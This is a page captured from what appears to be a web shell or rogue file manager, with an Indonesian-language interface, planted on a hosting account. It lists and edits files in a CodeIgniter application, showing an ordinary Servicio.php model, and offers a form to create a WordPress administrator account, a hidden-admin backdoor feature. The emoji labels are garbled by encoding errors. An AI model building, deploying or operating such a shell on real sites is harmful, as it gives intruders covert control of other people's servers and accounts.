π File Editor (IP: )
π Root Folder:
π Buka
π Daftar isi: /home/goblinst/public_html/cuentas.goblinstreaming21.com/application/models
β¬ οΈ Kembali ke folder sebelumnya
π
Cliente.php
π
Configuracion.php
π
Panel.php
π
Perfil.php
π
Producto.php
π
Servicio.php
π
Usuario.php
π
Venta.php
π
index.html
π Folder Baru:
+ Buat
π File Baru:
+ Buat
βοΈ Rename:
Cliente.php
Configuracion.php
Panel.php
Perfil.php
Producto.php
Servicio.php
Usuario.php
Venta.php
index.html
β‘οΈ
Rename
β Tambah User WordPress (folder aktif)
π€ Username:
π§ Email:
π Password:
β Buat User WP (admin)
π Mengedit: Servicio.php
<?php class Servicio extends CI_Model { public function obtenerTodos() { $query = $this->db->get('servicios'); if ($query->num_rows() > 0) { return $query; } else { return false; } } public function obtenerTodosLosServiciosActivos() { $this->db->where("estado_ser", 1); $query = $this->db->get('servicios'); if ($query->num_rows() > 0) { return $query; } else { return false; } } public function insertar($datosTipo) { return $this->db->insert('servicios', $datosTipo); } public function obtenerPorId($id) { $this->db->where("id_ser", $id); $query = $this->db->get('servicios'); if ($query->num_rows() > 0) { return $query->row(); } else { return false; } } public function eliminar($id) { $this->db->where("id_ser", $id); return $this->db->delete("servicios"); } public function actualizar($id, $datosEditados) { $this->db->where("id_ser", $id); return $this->db->update("servicios", $datosEditados); } var $table = 'servicios'; var $column_order = array('id_ser', 'nombre_ser', 'estado_ser'); var $order = array('id_ser', 'nombre_ser', 'estado_ser'); private function _get_data_query() { $this->db->from($this->table); if (isset($_POST['search']['value'])) { $this->db->like('nombre_ser', $_POST['search']['value']); $this->db->or_like('estado_ser', $_POST['search']['value']); } if (isset($_POST['order'])) { $this->db->order_by($this->order[$_POST['order']['0']['column']], $_POST['order']['0']['dir']); } else { $this->db->order_by('nombre_ser', 'ASC'); } } public function obtenerTodosJson() { $this->_get_data_query(); if ($_POST['length'] != -1) { $this->db->limit($_POST['length'], $_POST['start']); } $query = $this->db->get(); return $query->result(); } public function count_filtered_data() { $this->_get_data_query(); $query = $this->db->get(); return $query->num_rows(); } public function count_all_data() { $this->db->from($this->table); return $this->db->count_all_results(); } public function existe_servicio($servicio) { $query = $this->db->get_where('servicios', array('nombre_ser' => $servicio)); // Busca el usuario en la tabla de usuarios if ($query->num_rows() > 0) { // Verifica si la consulta devolviΓ³ algΓΊn resultado return true; // El usuario ya existe } else { return false; // El usuario no existe } } public function existe_servicio_edit($servicio, $id_ser) { $query = $this->db->from($this->table)->where('nombre_ser', $servicio)->where('id_ser','!=',$id_ser); // Busca el usuario en la tabla de usuarios if ($query->num_rows() > 0) { // Verifica si la consulta devolviΓ³ algΓΊn resultado return true; // El usuario ya existe } else { return false; // El usuario no existe } } }
πΎ Simpan
π Replace Teks (Ctrl+H)
Cari:
Ganti Dengan:
Replace All
Tutup